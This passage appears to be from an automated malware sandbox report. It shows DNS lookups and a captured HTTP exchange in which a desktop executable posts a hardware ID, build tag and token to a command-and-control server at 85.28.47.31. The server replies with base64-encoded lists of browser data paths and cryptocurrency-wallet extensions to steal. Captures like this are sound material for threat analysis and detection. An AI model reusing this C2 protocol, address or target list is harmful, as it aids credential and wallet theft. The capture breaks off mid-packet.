Jul 26, 2024 10:38:20.282696009 CEST	1.1.1.1	192.168.2.6	0xddad	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:38:20.282696009 CEST	1.1.1.1	192.168.2.6	0xddad	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:22.765412092 CEST	1.1.1.1	192.168.2.6	0x4f61	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:38:43.915019989 CEST	1.1.1.1	192.168.2.6	0x7005	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:38:44.454139948 CEST	1.1.1.1	192.168.2.6	0xdb21	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:38:44.454139948 CEST	1.1.1.1	192.168.2.6	0xdb21	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:39:03.649463892 CEST	1.1.1.1	192.168.2.6	0xa4f7	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:39:03.649463892 CEST	1.1.1.1	192.168.2.6	0xa4f7	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:39:03.649463892 CEST	1.1.1.1	192.168.2.6	0xa4f7	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:39:03.658219099 CEST	1.1.1.1	192.168.2.6	0xcf37	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:39:17.138500929 CEST	1.1.1.1	192.168.2.6	0x13ca	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:39:17.138500929 CEST	1.1.1.1	192.168.2.6	0x13ca	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:39:17.138623953 CEST	1.1.1.1	192.168.2.6	0x895b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jul 26, 2024 10:39:21.793076038 CEST	1.1.1.1	192.168.2.6	0x1d16	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:39:38.586182117 CEST	1.1.1.1	192.168.2.6	0xab87	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:39:39.066603899 CEST	1.1.1.1	192.168.2.6	0x1	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:40:24.242882013 CEST	1.1.1.1	192.168.2.6	0x24ce	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:40:24.743812084 CEST	1.1.1.1	192.168.2.6	0x9169	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:40:24.743812084 CEST	1.1.1.1	192.168.2.6	0x9169	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:40:44.993201971 CEST	1.1.1.1	192.168.2.6	0xc096	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:40:45.003688097 CEST	1.1.1.1	192.168.2.6	0x4aaf	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:40:53.184777975 CEST	1.1.1.1	192.168.2.6	0x1a02	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:40:53.184777975 CEST	1.1.1.1	192.168.2.6	0x1a02	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:40:53.185139894 CEST	1.1.1.1	192.168.2.6	0xbd41	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jul 26, 2024 10:40:56.563869953 CEST	1.1.1.1	192.168.2.6	0x22fd	No error (0)	play.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:42:32.970793962 CEST	1.1.1.1	192.168.2.6	0x2c6a	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:42:32.970846891 CEST	1.1.1.1	192.168.2.6	0x4b99	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:42:32.970846891 CEST	1.1.1.1	192.168.2.6	0x4b99	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:42:32.971127987 CEST	1.1.1.1	192.168.2.6	0x4e40	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:42:33.472014904 CEST	1.1.1.1	192.168.2.6	0xf98a	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:42:33.472014904 CEST	1.1.1.1	192.168.2.6	0xf98a	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:43:16.376679897 CEST	1.1.1.1	192.168.2.6	0x6d65	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jul 26, 2024 10:43:16.378057957 CEST	1.1.1.1	192.168.2.6	0x64f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:43:16.378057957 CEST	1.1.1.1	192.168.2.6	0x64f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:43:25.537225008 CEST	1.1.1.1	192.168.2.6	0xdc44	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:43:25.549313068 CEST	1.1.1.1	192.168.2.6	0x2b8f	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:43:26.830015898 CEST	1.1.1.1	192.168.2.6	0xf979	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:43:26.830015898 CEST	1.1.1.1	192.168.2.6	0xf979	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:44:26.004506111 CEST	1.1.1.1	192.168.2.6	0x8e6d	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:44:26.489176989 CEST	1.1.1.1	192.168.2.6	0xb8ec	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:44:26.489176989 CEST	1.1.1.1	192.168.2.6	0xb8ec	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:44:26.497603893 CEST	1.1.1.1	192.168.2.6	0xa5dc	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	85.28.47.31	80	2036	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:05.059312105 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 10:36:05.772593975 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 10:36:05.776385069 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFB Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 41 43 44 37 44 43 45 35 32 33 31 38 31 37 37 30 34 35 37 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 2d 2d 0d 0a Data Ascii: ------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="hwid"F6ACD7DCE5231817704571------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="build"sila------DAKEBAKFHCFHIEBFBAFB--
Jul 26, 2024 10:36:05.998522997 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 59 30 4d 54 56 6b 4f 54 41 30 59 54 4e 6b 4e 44 4a 6b 4e 57 45 34 5a 54 5a 6d 4d 32 4d 30 59 6a 6c 68 5a 47 45 30 4e 7a 67 7a 59 7a 49 7a 59 6a 56 6b 4e 32 46 6b 4d 32 4e 68 59 6d 51 78 5a 6a 6b 35 4d 47 49 77 5a 47 45 32 5a 44 4e 6d 4d 7a 49 30 4e 54 4d 79 5a 47 52 6a 4e 7a 59 31 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 78 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NjY0MTVkOTA0YTNkNDJkNWE4ZTZmM2M0YjlhZGE0NzgzYzIzYjVkN2FkM2NhYmQxZjk5MGIwZGE2ZDNmMzI0NTMyZGRjNzY1fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwxfHlibmNiaHlsZXBtZXw=
Jul 26, 2024 10:36:06.000078917 CEST	466	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHJKJDGCGDAKFHIDBGC Host: 85.28.47.31 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 2d 2d 0d 0a Data Ascii: ------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="message"browsers------KEHJKJDGCGDAKFHIDBGC--
Jul 26, 2024 10:36:06.184900045 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 26, 2024 10:36:06.185254097 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 26, 2024 10:36:06.186470032 CEST	465	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGC Host: 85.28.47.31 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 2d 2d 0d 0a Data Ascii: ------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="message"plugins------HIDHDGDHJEGHIDGDHCGC--
Jul 26, 2024 10:36:06.373652935 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 26, 2024 10:36:06.374176979 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jul 26, 2024 10:36:06.374192953 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jul 26, 2024 10:36:06.375725985 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jul 26, 2024 10:36:06.375747919 CEST	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Jul 26, 2024 10:36:06.376626968 CEST	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Jul 26, 2024 10:36:06.378185987 CEST	466	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKE Host: 85.28.47.31 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 